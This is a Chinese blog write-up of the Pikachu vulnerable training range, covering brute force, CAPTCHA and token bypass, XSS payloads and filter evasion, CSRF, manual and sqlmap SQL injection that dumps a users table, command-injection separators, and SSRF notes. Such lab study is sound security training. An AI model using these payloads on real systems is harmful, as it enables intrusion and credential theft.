Pikachu靶场

暴力破解

1.基于表单的暴力破解


用户名字典上传

密码字典上传

开始爆破,根据长度爆破出账号密码

2.验证码绕过(on server)

用户名 密码 验证码 状态
正确 正确 正确 可以登录
正确 错误 正确 提示账号或密码错误
错误 错误 正确 提示账号或密码错误
正确 正确 错误 提示验证码错误
正确 错误 错误 提示验证码错误
错误 错误 错误 提示验证码错误

根据以上反馈判断,程序的逻辑是先判断验证码的正确性,验证码会伴随着页面的刷新而刷新,我们通过抓包的方式发送请求,验证我们的猜想。
不修改验证码,把用户名密码从错误修改为正确,通过验证不同场景发现,在验证码正确的情况下,程序仍会给出不同的响应,我们猜想正确,可以在验证码为真的情况下进行绕过验证码进行爆破。





3.验证码绕过(on client)

方法1: 禁用JavaScript后进行爆破

通过测试,输入错误验证码时会弹出提示


再进行爆破


爆破成功

方法2:通过持续抓包进行爆破

4.token防爆破?

常规抓包进行爆破,无法爆破,有token字段存在

token:通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。



我们通过修改payload并加入token的payload



根据返回情况爆破成功

XSS(跨站脚本)攻击

1.scirpt 标签

1
<script>alert("xss");</script>

2.img 标签

1
<img src=1 onerror=alert("xss");>

3.input 标签
<input > 标签规定了用户可以在其中输入数据的输入字段。

1
2
onfocus 事件在对象获得焦点时发生:
<input onfocus=alert(1);>

1.反射型xss(get)


输入脚本代码,发现长度被截断:

检查网页源代码,删除长度限制字段代码

删除后发现注入成功:

2.反射性xss(post)

需要填写表单信息,点击提示,发现给出用户名和密码,目的想让我们拿到登陆后的cookie

登陆后,输入脚本,可以看到存在xss漏洞,但这关让我们拿到cookie。

我们需要利用xss漏洞输出cookie,以下是脚本代码:

1
<script>alert(document.cookie)</script>

3.DOM型XSS

利用onclick方法进行

1
' onclick=alert('xss')>


4.XSS绕过方式


1.大小写绕过

1
<sCRiPt>alert(1);</sCrIpT>

2.注释符号绕过

1
2
3
4
5
6
7
/**/,注释符号绕过;/符号绕过;
<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>

3.利用其他标签绕过

1
<img src=1 onerror=alert(1)>

5.xss之htmlspecialchars

htmlspecialchars() 函数的定义和用法

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。预定义的字符包括如下:

1
2
3
4
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <

简单来说就是把单引号,双引号,尖括号等字符串过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。
输入框的值会成为a标签的href属性,那么xss语句为:

1
1111' onclick=alert('aaaa')>


发现报错,没有弹窗

将语句修改为

1
1111' onclick='alert(aaaa)'>


成功弹窗

方法二:
利用JavaScript协议来执行js语句。

1
javascript:alert('java')

xss之href输出


检查源代码发现字符被转义

我们仍然可以利用JavaScript协议来执行js语句的方式

1
javascript:alert('java')

成功弹出:

XSS之JS

检查源代码发现,可以利用进行闭合,然后输出我们想要的

1
</script><script>alert('xx-js')</script>


CSRF(跨站请求伪造)

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。

防范CSRF攻击的方式:

  1. –对敏感信息的操作增加安全的token;
  2. –对敏感信息的操作增加安全的验证码;
  3. –对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

SQL注入

数字型注入(post注入)

1
id=-4 order by 3

1
id=-4 union select database(),version()

1
id=-4 union select group_concat(table_name),2 from information_schema.tables where table_schema ='pikachu'

1
id=-4 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

1
id=-4 union select username,password  from users

字符型注入(get)

1.SQLMAP

1
python sqlmap.py -u "http://189.1.232.129:9001/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dbs --batch

1
python sqlmap.py -u "http://189.1.232.129:9001/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch

1
python sqlmap.py -u "http://189.1.232.129:9001/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --dump  --batch

2.手工注入

1
name=2' order by 3 %23

1
name=1' union select 1,2

1
name=1' union select database(),2 from information_schema.tables 

1
name=1' union select group_concat(table_name),2 from information_schema.tables where table_schema ='pikachu'

1
?name=1' union select group_concat(column_name),2 from information_schema.columns where table_schema ='pikachu' and table_name='users'

1
?name=1' union select username,password from users

搜索型注入

闭合方式为%',与上一关注入的sqlmap使用相同 sqlmap工具使用,得到如下结果:

xx型注入

判断闭合方式为') ,同样可以使用 sqlmap工具使用

“insert/update”注入

RCE(远程系统命令执行)

低安全等级:

1
2
3
#low &&  
192.168.187.145 & ipconfig
192.168.187.145 && ipconfig


中安全等级:

1
2
#Medium & 或&;&  
192.168.187.145 &;& dir


高安全等级:
由于过来的字符中包含空格,所以我们将利用这一漏洞,使用|,去掉多余的空格进行绕过:

1
2
High | (代码里面的|后有一个空格) 
192.168.187.145|ipconfig


成功绕过:

php中可以执行系统命令的函数

  1. assert
  2. exec
  3. shell_exec
  4. (反单引号,一般是linux系统支持,这个以前用来过
  5. waf)
  6. system
  7. passthru
  8. pcntl_exec
  9. popen
  10. proc_open

远程代码执行-php中执行代码的方法

  1. eval
  2. assert
  3. call_user_func
  4. base64_decode,
  5. gzinflate,
  6. gzuncompress,
  7. gzdecode,
  8. str_rot13

PHP反序列化

在网站开发及互相传输数据的时候,不同的开发语言具有不同的数据存储特性,例如Python存储数据使用字典列表,对于PHP数据中不适用,那就无法互相解析。

利用序列化方式可以让数据统一转化成相同的格式的数据及字符串,如json、xml格式的数据等,在解析数据时通过反序列化的方式解析这些数据,进行数据的传输。

php代码中有 序列化serialize(),反序列化unserialize() 两个函数

SSRF(Server-Side Request Forgery:服务器端请求伪造)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者—–>服务器—->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

防护手段:
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤


Pikachu靶场
http://yoursite.com/2024/01/26/Pikachu靶场/
Author
111
Posted on
January 26, 2024
Licensed under